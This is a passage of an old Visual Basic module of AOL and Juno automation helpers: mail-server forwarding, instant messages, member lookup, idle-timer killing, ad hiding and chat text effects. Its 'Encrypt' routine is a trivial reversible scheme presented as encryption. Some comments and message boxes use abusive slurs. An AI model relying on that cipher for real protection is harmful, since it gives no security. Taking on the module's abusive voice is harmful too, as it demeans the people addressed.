  3800. fillit = SendMessage(edi2%, WM_LBUTTONDBLCLK, 0, 0&)
  3801. fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, nSubj$)
  3802.    
  3803.     
  3804.     For I = 1 To 18
  3805.         edi2% = GetWindow(edi2%, GW_HWNDNEXT)
  3806.     Next I
  3807.  
  3808. clickit = SendMessage(edi2%, WM_LBUTTONDOWN, 0, 0&)
  3809. clickit = SendMessage(edi2%, WM_LBUTTONUP, 0, 0&)
  3810.  Wait (1)
  3811.  
  3812.  titc% = findchildbytitle(mdi%, " Online Mailbox")
  3813.  If titc% <> 0 Then
  3814.  cit = ShowWindow(titc%, SW_MINIMIZE)
  3815.  End If
  3816.  Mo% = FindWindow("_AOL_Modal", vbNullString)
  3817.  iconb% = FindChildByClass(Mo%, "_AOL_Icon")
  3818.  If Mo% <> 0 Then
  3819. closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  3820. closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  3821.  
  3822.  End If
  3823.  cit2 = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  3824. End If
  3825. End If
  3826. End Function
  3827.  
  3828. Function Server_Mail2Subject(strin As String)
  3829. Dim X As Integer
  3830. Dim NoName$, l$
  3831. For X = 1 To Len(strin)
  3832.         l$ = Mid(strin, X, 1)
  3833.         NoName$ = NoName$ & l$
  3834.             If l$ = Chr(9) Then
  3835.                 Let l$ = "": NoName$ = ""
  3836.             End If
  3837.     Next X
  3838.     Server_Mail2Subject = NoName$
  3839. End Function
  3840.  
  3841. Function Server_SendByIndex(lis As ListBox, Indx As Integer, Who As String)
  3842. 'this will check your listbox for the index #
  3843. 'then search each mail and find a match in the
  3844. 'subject not the fastest but i had to make it
  3845. 'universal for all to use.
  3846. Dim Gsb, Gsb2, Gsb3, BeSafe As Integer
  3847. Dim sent As Boolean
  3848. Dim GottaKeepAsNew As Boolean
  3849. Dim TName As String
  3850. sent = False
  3851. sb$ = lis.List(Val(Indx) - 1)
  3852.     For cut = 1 To Len(sb$)
  3853.         tr$ = Mid(sb$, cut, 1)
  3854.         If tr$ = ")" Then
  3855.         tr$ = ""
  3856.         Exit For
  3857.         End If
  3858.         Next cut
  3859.  sb2$ = Mid(sb$, (cut + 1), Len(sb$))
  3860.  
  3861. Call Mail_OpenNew2
  3862. Do: DoEvents
  3863. aol% = FindWindow("AOL Frame25", vbNullString)
  3864. mdi% = FindChildByClass(aol%, "MDIClient")
  3865. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  3866. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  3867. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  3868. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  3869. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  3870. If TIT% <> 0 And tree% <> 0 Then Exit Do
  3871. Loop
  3872. For BeSafe = 1 To 4
  3873. Do: DoEvents
  3874. NewC = coun%
  3875. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  3876. If NewC = coun% Then Exit Do
  3877. Loop
  3878.     For Gsb = 0 To coun% - 1
  3879.         selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&)
  3880.         lent% = SendMessage(tree%, LB_GETTEXTLEN, Gsb, 0&)
  3881.         Subjct$ = String(lent% + 1, 0)
  3882.         Call SendMessageByString(tree%, LB_GETTEXT, Gsb, Subjct$)
  3883.              Subjct2$ = Server_Mail2Subject(Subjct$)
  3884.              Wait (0.2)
  3885.              DoEvents
  3886.              If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3887.         selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&)
  3888.         Wait (0.3)
  3889.         selit = SendMessage(tree%, WM_KEYDOWN, VK_RETURN, 0&)
  3890.         selit = SendMessage(tree%, WM_KEYUP, VK_RETURN, 0&)
  3891.         sent = True
  3892.         Exit For
  3893.             End If
  3894.     Next Gsb
  3895.  If sent = True Then Exit For
  3896.  Next BeSafe
  3897. If sent = False Then
  3898.     Call Mail_OpenOld2
  3899.     Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3900.     Tree2% = FindChildByClass(Tab2%, "_AOL_Tree")
  3901.   For BeSafe = 1 To 4
  3902. Do: DoEvents
  3903.     NewC = coun2%
  3904.         coun2% = SendMessage(Tree2%, LB_GETCOUNT, 0, 0&)
  3905.         If NewC = coun2% Then Exit Do
  3906.     Loop
  3907.  
  3908.     For Gsb2 = 0 To coun2% - 1
  3909.     selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb, 0&)
  3910.         lent% = SendMessage(Tree2%, LB_GETTEXTLEN, Gsb2, 0&)
  3911.         Subjct$ = String(lent% + 1, 0)
  3912.         Call SendMessageByString(Tree2%, LB_GETTEXT, Gsb2, Subjct$)
  3913.             Subjct2$ = Server_Mail2Subject(Subjct$)
  3914.              Wait (0.3)
  3915.             DoEvents
  3916.             If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3917.         selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb2, 0&)
  3918.         Wait (0.3)
  3919.         selit = SendMessage(Tree2%, WM_KEYDOWN, VK_RETURN, 0&)
  3920.         selit = SendMessage(Tree2%, WM_KEYUP, VK_RETURN, 0&)
  3921.         sent = True
  3922.         Exit For
  3923.             End If
  3924.     Next Gsb2
  3925.    If sent = True Then Exit For
  3926.    
  3927.  Next BeSafe
  3928.  
  3929.  
  3930.         If sent = False Then
  3931.             Call Mail_OpenSent2
  3932.             Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3933.             Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3934.     tree3% = FindChildByClass(Tab2%, "_AOL_Tree")
  3935. For BeSafe = 1 To 4
  3936. Do: DoEvents
  3937.     NewC = coun3%
  3938.         coun3% = SendMessage(tree3%, LB_GETCOUNT, 0, 0&)
  3939.         If NewC = coun2% Then Exit Do
  3940.     Loop
  3941.               
  3942.     For Gsb3 = 0 To coun3%
  3943.     selit = SendMessage(tree3%, LB_SETCURSEL, Gsb, 0&)
  3944.         lent% = SendMessage(tree3%, LB_GETTEXTLEN, Gsb3, 0&)
  3945.         Subjct$ = String(lent% + 1, 0)
  3946.         Call SendMessageByString(tree3%, LB_GETTEXT, Gsb3, Subjct$)
  3947.            Subjct2$ = Server_Mail2Subject(Subjct$)
  3948.             Wait (0.2)
  3949.            DoEvents
  3950.             If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3951.         selit = SendMessage(tree3%, LB_SETCURSEL, Gsb3, 0&)
  3952.         Wait (0.3)
  3953.         selit = SendMessage(tree3%, WM_KEYDOWN, VK_RETURN, 0&)
  3954.         selit = SendMessage(tree3%, WM_KEYUP, VK_RETURN, 0&)
  3955.         sent = True
  3956.         Exit For
  3957.             End If
  3958.     Next Gsb3
  3959.     If sent = True Then Exit For
  3960.  Next BeSafe
  3961.  End If
  3962.    If sent = False Then
  3963.    MsgBox ("Mail was not in mailbox index"), 16, ("Error")
  3964.    Exit Function
  3965.    End If
  3966.    Wait (2)
  3967.    DoEvents
  3968.    Call Server_FWD(Who)
  3969.    End If
  3970.  
  3971.  
  3972.     
  3973. End Function
  3974. Sub signoff()
  3975. aol% = FindWindow("AOL Frame25", vbNullString)
  3976. Call RunMenuByString(aol%, "&Sign Off")
  3977. End Sub
  3978.  
  3979. Sub WelcomeWindow_Show()
  3980. aol% = FindWindow("AOL Frame25", vbNullString)
  3981. mdi% = FindChildByClass(aol%, "MDIClient")
  3982. TIT% = findchildbytitle(mdi%, "Welcome")
  3983. If TIT% <> 0 Then
  3984. X = ShowWindow(TIT%, SW_SHOW)
  3985. End If
  3986.  
  3987. End Sub
  3988. Sub WavYChaTRedBlue(TheText As String)
  3989. G$ = TheText
  3990. a = Len(G$)
  3991. For W = 1 To a Step 4
  3992.     r$ = Mid$(G$, W, 1)
  3993.     u$ = Mid$(G$, W + 1, 1)
  3994.     s$ = Mid$(G$, W + 2, 1)
  3995.     T$ = Mid$(G$, W + 3, 1)
  3996.     p$ = p$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & u$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & T$
  3997. Next W
  3998. ErrorRsenD (p$)
  3999. End Sub
  4000.  
  4001. Function WavYChaTRedGreen(TheText As String)
  4002. G$ = TheText
  4003. a = Len(G$)
  4004. For W = 1 To a Step 4
  4005.     r$ = Mid$(G$, W, 1)
  4006.     u$ = Mid$(G$, W + 1, 1)
  4007.     s$ = Mid$(G$, W + 2, 1)
  4008.     T$ = Mid$(G$, W + 3, 1)
  4009.     p$ = p$ & "<b><FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & u$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & T$
  4010. Next W
  4011. ErrorRsenD (p$)
  4012. End Function
  4013.  
  4014. Sub WelcomeWindow_Hide()
  4015. 'this will only hide it not kill it
  4016. 'so the GetUserSn function will still work
  4017. aol% = FindWindow("AOL Frame25", vbNullString)
  4018. mdi% = FindChildByClass(aol%, "MDIClient")
  4019. TIT% = findchildbytitle(mdi%, "Welcome")
  4020. If TIT% <> 0 Then
  4021. X = ShowWindow(TIT%, SW_HIDE)
  4022. End If
  4023.  
  4024. End Sub
  4025.  
  4026. Function IsChar(Char As String) As Boolean
  4027. 'tells if one character is a letter
  4028. 'use this to test if a number or letter
  4029. 'was entered..one character at a time though
  4030. If UCase(Char) Like "[A-Z]" = True Then
  4031. isit = True
  4032. Else
  4033. isit = False
  4034. End If
  4035. IsChar = isit
  4036. End Function
  4037.  
  4038. Function IsNumInString(strin As String) As Boolean
  4039. 'checks if any #'s are in a string
  4040. 'True means there is a number in it False
  4041. 'means its all letters
  4042. For I = 1 To Len(strin)
  4043. l$ = Mid(strin, I, 1)
  4044. If IsChar(l$) = False Then
  4045. IsNumInString = True
  4046. Exit Function
  4047. End If
  4048. Next I
  4049. IsNumInString = False
  4050. End Function
  4051.  
  4052.  
  4053.  
  4054. Function Juno_AdHide()
  4055. 'Hide the advertisment in juno mail
  4056. Juno% = FindWindow("JunoMainWndXQW21", vbNullString)
  4057. Afx% = FindChildByClass(Juno%, "Afx:400000:8")
  4058. Disp% = FindChildByClass(Afx%, "JAdDisplay")
  4059. If Disp% <> 0 Then
  4060. hideit = ShowWindow(Disp%, SW_HIDE)
  4061. Min = ShowWindow(Juno%, SW_MINIMIZE)
  4062. restoreit = ShowWindow(Juno%, SW_RESTORE)
  4063. End If
  4064. End Function
  4065.  
  4066. Function Juno_AdShow()
  4067. 'showss that you got mail bullshit
  4068. Juno% = FindWindow("JunoMainWndXQW21", vbNullString)
  4069. Afx% = FindChildByClass(Juno%, "Afx:400000:8")
  4070. Disp% = FindChildByClass(Afx%, "JAdDisplay")
  4071. If Disp% <> 0 Then
  4072. showit = ShowWindow(Disp%, SW_SHOW)
  4073. End If
  4074. End Function
  4075. Sub IMKeyword(Recipiant, Message)
  4076. 'if you dont know wtf this is then u need a dick in ur mouth
  4077. aol% = FindWindow("AOL Frame25", vbNullString)
  4078. mdi% = FindChildByClass(aol%, "MDIClient")
  4079.  
  4080. Call Keyword("aol://9293:")
  4081.  
  4082. Do: DoEvents
  4083. IMWin% = findchildbytitle(mdi%, "Send Instant Message")
  4084. AOEdit% = FindChildByClass(IMWin%, "_AOL_Edit")
  4085. AORich% = FindChildByClass(IMWin%, "RICHCNTL")
  4086. AOIcon% = FindChildByClass(IMWin%, "_AOL_Icon")
  4087. Loop Until AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0
  4088. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiant)
  4089. Call SendMessageByString(AORich%, WM_SETTEXT, 0, Message)
  4090.  
  4091. For X = 1 To 9
  4092.     AOIcon% = GetWindow(AOIcon%, 2)
  4093. Next X
  4094.  
  4095. Call TimeOut(0.01)
  4096. ClickIcon (AOIcon%)
  4097.  
  4098. Do: DoEvents
  4099. aol% = FindWindow("AOL Frame25", vbNullString)
  4100. mdi% = FindChildByClass(aol%, "MDIClient")
  4101. IMWin% = findchildbytitle(mdi%, "Send Instant Message")
  4102. OkWin% = FindWindow("#32770", "America Online")
  4103. If OkWin% <> 0 Then Call SendMessage(OkWin%, WM_CLOSE, 0, 0): closer2 = SendMessage(IMWin%, WM_CLOSE, 0, 0): Exit Do
  4104. If IMWin% = 0 Then Exit Do
  4105. Loop
  4106.  
  4107. End Sub
  4108.  
  4109.  
  4110.  
  4111. Function Mail_OpenNew()
  4112. 'opens fresh new mail pad
  4113. aol% = FindWindow("AOL Frame25", vbNullString)
  4114. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4115. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4116. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4117.  
  4118. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4119. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4120. End Function
  4121.  
  4122. Function Mail_OpenNew2()
  4123. 'this will make sure all the mail has been shown
  4124. aol% = FindWindow("AOL Frame25", vbNullString)
  4125. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4126. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4127. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4128.  
  4129. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4130. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4131. Do: DoEvents
  4132. mdi% = FindChildByClass(aol%, "MDIClient")
  4133. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  4134. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4135. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4136. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4137. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4138. If TIT% <> 0 And tree% <> 0 Then Exit Do
  4139. Loop
  4140. Do: DoEvents
  4141. num = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4142. If num = NewNum Then Exit Do
  4143. NewNum = num
  4144. Loop
  4145. Wait (1)
  4146. End Function
  4147.  
  4148.  
  4149.  
  4150. Function MyProgIsRunning() As Boolean
  4151.  
  4152.     MyProgIsRunning = False
  4153.  
  4154.     If (App.PrevInstance = True) Then
  4155.         MyProgIsRunning = True
  4156.     End If
  4157.  
  4158.     End Function
  4159.  
  4160.  
  4161.  
  4162.  
  4163.  
  4164. Public Sub Loadlistbox(Directory As String, TheList As ListBox)
  4165.     'this is to load a list box
  4166.     'this is very help full for <>< tankz or saving files for crackers
  4167.     Dim MyString As String
  4168.     On Error Resume Next
  4169.     Open Directory$ For Input As #1
  4170.     While Not EOF(1)
  4171.         Input #1, MyString$
  4172.         DoEvents
  4173.         TheList.AddItem MyString$
  4174.     Wend
  4175.     Close #1
  4176. End Sub
  4177.  
  4178. Function GetCaption(hwnd)
  4179.  
  4180. hwndLength% = GetWindowTextLength(hwnd)
  4181. hwndTitle$ = String$(hwndLength%, 0)
  4182. a% = GetWindowText(hwnd, hwndTitle$, (hwndLength% + 1))
  4183.  
  4184. GetCaption = hwndTitle$
  4185. End Function
  4186.  
  4187.  
  4188. Sub ClickIcon(Icon%)
  4189. Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&)
  4190. Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&)
  4191. End Sub
  4192.  
  4193. Sub AOL4_SetText(win, txt)
  4194. 'This is usually used for an _AOL_Edit or RICHCNTL
  4195. TheText% = SendMessageByString(win, WM_SETTEXT, 0, txt)
  4196. End Sub
  4197.  
  4198. Function Anti_45Min()
  4199. 'kills the AOL Timer window put this in timer
  4200. Palet% = FindWindow("_AOL_Palette", "America Online Timer")
  4201. Icona% = FindChildByClass(Palet%, "_AOL_Icon")
  4202. If Palet% <> 0 And Icona% <> 0 Then
  4203. closeit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4204. closeit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4205. End If
  4206. End Function
  4207.  
  4208. Function CheckIfOnline(sn As String) As Boolean
  4209. 'returns a true or false
  4210. 'example.. if CheckIfOnline("User123") = true then
  4211. 'msgbox("He's online")
  4212. 'End if
  4213. Call RunMenuByChar(9, "L")
  4214. Do: DoEvents
  4215. aol% = FindWindow("AOL Frame25", vbNullString)
  4216. mdi% = FindChildByClass(aol%, "MDIClient")
  4217. TIT% = findchildbytitle(mdi%, "Locate Member Online")
  4218. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  4219.  
  4220. If TIT% <> 0 And Edi% <> 0 Then Exit Do
  4221. Loop
  4222. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, sn)
  4223. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4224. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4225. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4226.  
  4227. Do: DoEvents
  4228. No% = FindWindow("#32770", vbNullString)
  4229. tit2% = findchildbytitle(mdi%, "Locate " & sn)
  4230. If No% <> 0 Or tit2% <> 0 Then Exit Do
  4231. Loop
  4232. If No% <> 0 Then
  4233. closeit = SendMessage(No%, WM_CLOSE, 0, 0&)
  4234. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4235. AreThey = False
  4236. ElseIf tit2% <> 0 Then
  4237. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  4238. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4239. AreThey = True
  4240. End If
  4241. If AreThey = True Then
  4242. MsgBox "heheh teh bitch is still online"
  4243. Else
  4244. MsgBox "The lamer fucker is not online."
  4245. End If
  4246. CheckIfOnline = AreThey
  4247. End Function
  4248. Function Decrypt(strin As String)
  4249. On Error Resume Next
  4250. If IsNumeric(Mid(strin, 1, 1)) = False Then
  4251. Decrypt = strin
  4252. Exit Function
  4253. End If
  4254. For X = 1 To Len(strin)
  4255. l$ = Mid(strin, X, 1)
  4256.     If l$ = "-" Then
  4257.     Let l$ = ""
  4258.     NextL$ = NextL$ & Chr(Ch)
  4259.     Ch = ""
  4260.         ElseIf l$ = "." Then
  4261.         Let l$ = ""
  4262.         NextL$ = NextL$ & Chr(Ch)
  4263.         Ch = ""
  4264.             ElseIf l$ = "=" Then
  4265.             Let l$ = ""
  4266.             NextL$ = NextL$ & Chr(Ch)
  4267.             Ch = ""
  4268.                 ElseIf l$ = "\" Then
  4269.                 Let l$ = ""
  4270.                 NextL$ = NextL$ & Chr(Ch)
  4271.                 Ch = ""
  4272.                     ElseIf l$ = "+" Then
  4273.                     Let l$ = ""
  4274.                     NextL$ = NextL$ & Chr(Ch)
  4275.                     Ch = ""
  4276.                         ElseIf l$ = "~" Then
  4277.                         Let l$ = ""
  4278.                         NextL$ = NextL$ & Chr(Ch)
  4279.                         Ch = ""
  4280.                              ElseIf l$ = "*" Then
  4281.                              Let l$ = ""
  4282.                              NextL$ = NextL$ & Chr(Ch)
  4283.                              Ch = ""
  4284.                                ElseIf l$ = "&" Then
  4285.                                Let l$ = ""
  4286.                                NextL$ = NextL$ & Chr(Ch)
  4287.                                Ch = ""
  4288.                              End If
  4289.                 Ch = Ch & l$
  4290.         Next X
  4291. Decrypt = NextL$
  4292. End Function
  4293.  
  4294. Function Encrypt(strin As String)
  4295. 'i've never seen this method before
  4296. 'works good but dont tell VB to encrypt it
  4297. 'more then once, youll have to press decrypt
  4298. 'more than once then.. and encrypting
  4299. 'the same line too much will overload it
  4300. On Error Resume Next
  4301. Choice = Array("-", "-", ".", "=", "\", "+", "~", "*", "&")
  4302. For X = 1 To Len(strin)
  4303. l$ = Mid(strin, X, 1)
  4304. Conv$ = Conv$ & CharToChr(l$) & Choice(Int(Rnd * 7))
  4305. Next X
  4306. Encrypt = Conv$
  4307. End Function
  4308. Function Text_Hacker(strin As String)
  4309. 'Lame but people use it
  4310. Let inptxt$ = strin
  4311. Let lenth% = Len(inptxt$)
  4312. Do While NumSpc% <= lenth%
  4313. Let NumSpc% = NumSpc% + 1
  4314. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  4315. If NextChr$ = "A" Then Let NextChr$ = "a"
  4316. If NextChr$ = "E" Then Let NextChr$ = "e"
  4317. If NextChr$ = "I" Then Let NextChr$ = "i"
  4318. If NextChr$ = "O" Then Let NextChr$ = "o"
  4319. If NextChr$ = "U" Then Let NextChr$ = "u"
  4320. If NextChr$ = "b" Then Let NextChr$ = "B"
  4321. If NextChr$ = "c" Then Let NextChr$ = "C"
  4322. If NextChr$ = "d" Then Let NextChr$ = "D"
  4323. If NextChr$ = "z" Then Let NextChr$ = "Z"
  4324. If NextChr$ = "f" Then Let NextChr$ = "F"
  4325. If NextChr$ = "g" Then Let NextChr$ = "G"
  4326. If NextChr$ = "h" Then Let NextChr$ = "H"
  4327. If NextChr$ = "y" Then Let NextChr$ = "Y"
  4328. If NextChr$ = "j" Then Let NextChr$ = "J"
  4329. If NextChr$ = "k" Then Let NextChr$ = "K"
  4330. If NextChr$ = "l" Then Let NextChr$ = "L"
  4331. If NextChr$ = "m" Then Let NextChr$ = "M"
  4332. If NextChr$ = "n" Then Let NextChr$ = "N"
  4333. If NextChr$ = "x" Then Let NextChr$ = "X"
  4334. If NextChr$ = "p" Then Let NextChr$ = "P"
  4335. If NextChr$ = "q" Then Let NextChr$ = "Q"
  4336. If NextChr$ = "r" Then Let NextChr$ = "R"
  4337. If NextChr$ = "s" Then Let NextChr$ = "S"
  4338. If NextChr$ = "t" Then Let NextChr$ = "T"
  4339. If NextChr$ = "w" Then Let NextChr$ = "W"
  4340. If NextChr$ = "v" Then Let NextChr$ = "V"
  4341. If NextChr$ = " " Then Let NextChr$ = "á"
  4342. Let NewSent$ = NewSent$ + NextChr$
  4343. Loop
  4344. ErrorRsenD (NewSent$)
  4345. End Function
  4346. Sub Text_Flash(txt As TextBox)
  4347. txt.ForeColor = QBColor(Rnd * 15)
  4348. NoFreeze% = DoEvents()
  4349. End Sub
  4350. Function Text_backwards(strin As TextBox)
  4351. Let inptxt$ = strin
  4352. Let lenth% = Len(inptxt$)
  4353. Do While NumSpc% <= lenth%
  4354. Let NumSpc% = NumSpc% + 1
  4355. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  4356. Let NewSent$ = NextChr$ & NewSent$
  4357. Loop
  4358. ErrorRsenD (NewSent$)
  4359. End Function
  4360. Function SNfromIM()
  4361. 'this gets the sn from the im box open
  4362. 'this can be a help full option for a im-answering machine to take the mesages
  4363. aol% = FindWindow("AOL Frame25", vbNullString)
  4364. mdi% = FindChildByClass(aol%, "MDIClient") '
  4365.  
  4366. IM% = findchildbytitle(mdi%, ">Instant Message From:")
  4367. If IM% Then GoTo Greed
  4368. IM% = findchildbytitle(mdi%, "  Instant Message From:")
  4369. If IM% Then GoTo Greed
  4370. Exit Function
  4371. Greed:
  4372. IMCap$ = GetCaption(IM%)
  4373. theSN$ = Mid(IMCap$, InStr(IMCap$, ":") + 2)
  4374. SNfromIM = theSN$
  4375.  
  4376. End Function
  4377.  
  4378. Sub EliteTalker(word$)
  4379. Made$ = ""
  4380. For Q = 1 To Len(word$)
  4381.     Letter$ = ""
  4382.     Letter$ = Mid$(word$, Q, 1)
  4383.     leet$ = ""
  4384.     X = Int(Rnd * 3 + 1)
  4385.     If Letter$ = "a" Then
  4386.     If X = 1 Then leet$ = "Γ"
  4387.     If X = 2 Then leet$ = "σ"
  4388.     If X = 3 Then leet$ = "Σ"
  4389.     End If
  4390.     If Letter$ = "b" Then leet$ = "b"
  4391.     If Letter$ = "c" Then leet$ = "τ"
  4392.     If Letter$ = "d" Then leet$ = "d"
  4393.     If Letter$ = "e" Then
  4394.     If X = 1 Then leet$ = "δ"
  4395.     If X = 2 Then leet$ = "Ω"
  4396.     If X = 3 Then leet$ = "Θ"
  4397.     End If
  4398.     If Letter$ = "i" Then
  4399.     If X = 1 Then leet$ = "∞"
  4400.     If X = 2 Then leet$ = "∩"
  4401.     If X = 3 Then leet$ = "ε"
  4402.     End If
  4403.     If Letter$ = "j" Then leet$ = ",j"
  4404.     If Letter$ = "n" Then leet$ = "±"
  4405.     If Letter$ = "o" Then
  4406.     If X = 1 Then leet$ = "⌠"
  4407.     If X = 2 Then leet$ = "≡"
  4408.     If X = 3 Then leet$ = "⌡"
  4409.     End If
  4410.     If Letter$ = "s" Then leet$ = "Ü"
  4411.     If Letter$ = "t" Then leet$ = "å"
  4412.     If Letter$ = "u" Then
  4413.     If X = 1 Then leet$ = "∙"
  4414.     If X = 2 Then leet$ = "√"
  4415.     If X = 3 Then leet$ = "ⁿ"
  4416.     End If
  4417.     If Letter$ = "w" Then leet$ = "\X/"
  4418.     If Letter$ = "y" Then leet$ = "'/"
  4419.     If Letter$ = "0" Then leet$ = "╪"
  4420.     If Letter$ = "A" Then
  4421.     If X = 1 Then leet$ = "┼"
  4422.     If X = 2 Then leet$ = "─"
  4423.     If X = 3 Then leet$ = "├"
  4424.     End If
  4425.     If Letter$ = "B" Then leet$ = "▀"
  4426.     If Letter$ = "C" Then leet$ = "╟"
  4427.     If Letter$ = "D" Then leet$ = "╨"
  4428.     If Letter$ = "E" Then leet$ = "╦"
  4429.     If Letter$ = "I" Then
  4430.     If X = 1 Then leet$ = "╧"
  4431.     If X = 2 Then leet$ = "╬"
  4432.     If X = 3 Then leet$ = "═"
  4433.     End If
  4434.     If Letter$ = "N" Then leet$ = "╤"
  4435.     If Letter$ = "O" Then leet$ = "╒"
  4436.     If Letter$ = "S" Then leet$ = "è"
  4437.     If Letter$ = "U" Then leet$ = "█"
  4438.     If Letter$ = "W" Then leet$ = "VV"
  4439.     If Letter$ = "Y" Then leet$ = "▌"
  4440.     If Letter$ = "`" Then leet$ = "┤"
  4441.     If Letter$ = "!" Then leet$ = "í"
  4442.     If Letter$ = "?" Then leet$ = "┐"
  4443.     If Len(leet$) = 0 Then leet$ = Letter$
  4444.     Made$ = Made$ & leet$
  4445. Next Q
  4446. ErrorRsenD (Made$)
  4447. End Sub
  4448.  
  4449.  
  4450. Function File_Scan(FilePath As String, LookFor As String) As Long
  4451. 'will return Instr# if string found
  4452. 'returns 0 if string isnt found
  4453. 'scan takes longer depending on file size
  4454.     Free = FreeFile
  4455.     Dim Lookin As Long
  4456.     Open FilePath$ For Binary Access Read As #Free
  4457.  
  4458.     For X = 1 To LOF(Free) Step 32000
  4459.         txt$ = Space(32000)
  4460.         Get #Free, X, txt$
  4461.         
  4462.  
  4463.         If InStr(1, txt$, LookFor$, 1) Then
  4464.             Lookin = InStr(1, txt$, LookFor$, 1)
  4465.             File_Scan = (Lookin + X) - 1
  4466.             Close #Free
  4467.             Exit For
  4468.         End If
  4469.  
  4470.         Next X
  4471.  
  4472.             Close #Free
  4473.         End Function
  4474.     
  4475.  
  4476.  
  4477.  
  4478. Function FindChatEdit()
  4479. Echil% = FindChat
  4480. ERich% = FindChildByClass(Echil%, "RICHCNTL")
  4481. For I = 1 To 6
  4482. DoEvents
  4483. ERich% = GetWindow(ERich%, GW_HWNDNEXT)
  4484. Next I
  4485. FindChatEdit = ERich%
  4486. End Function
  4487. Function IMOn()
  4488. Call InstantMessage("$IM_on", Plug)
  4489.  
  4490. aol% = FindWindow("AOL Frame25", vbNullString)
  4491. mdi% = FindChildByClass(aol%, "MDIClient")
  4492. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  4493.  
  4494. Do: DoEvents
  4495. win% = FindWindow("#32770", vbNullString)
  4496. If win% <> 0 Then Exit Do
  4497. Loop
  4498. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  4499. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4500. End Function
  4501. Function IMOFF()
  4502. Call InstantMessage("$IM_off", Plug)
  4503.  
  4504. aol% = FindWindow("AOL Frame25", vbNullString)
  4505. mdi% = FindChildByClass(aol%, "MDIClient")
  4506. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  4507.  
  4508. Do: DoEvents
  4509. win% = FindWindow("#32770", vbNullString)
  4510. If win% <> 0 Then Exit Do
  4511. Loop
  4512. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  4513. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4514. End Function
  4515. Function Label_MovieCredit(Lab As Label, name As String)
  4516. 'set backround color to black
  4517. Lab.Alignment = 2
  4518. Lab.Caption = name
  4519. Lab.BackStyle = 0
  4520. Lab.AutoSize = True
  4521.  
  4522. For I = 64 To 1 Step -5
  4523.         X = 255 - (I * 4 - 1)
  4524.          
  4525.         NewC = RGB(X, X, X)
  4526.         Lab.ForeColor = NewC
  4527.          Wait (0.0000001)
  4528.     Next I
  4529. Wait (0.8)
  4530. For I = 1 To 64 Step 5
  4531.         X = 255 - (I * 4 - 1)
  4532.          
  4533.         NewC = RGB(X, X, X)
  4534.         Lab.ForeColor = NewC
  4535.          Wait (0.0000001)
  4536.     Next I
  4537. Lab.ForeColor = &H0&
  4538. End Function
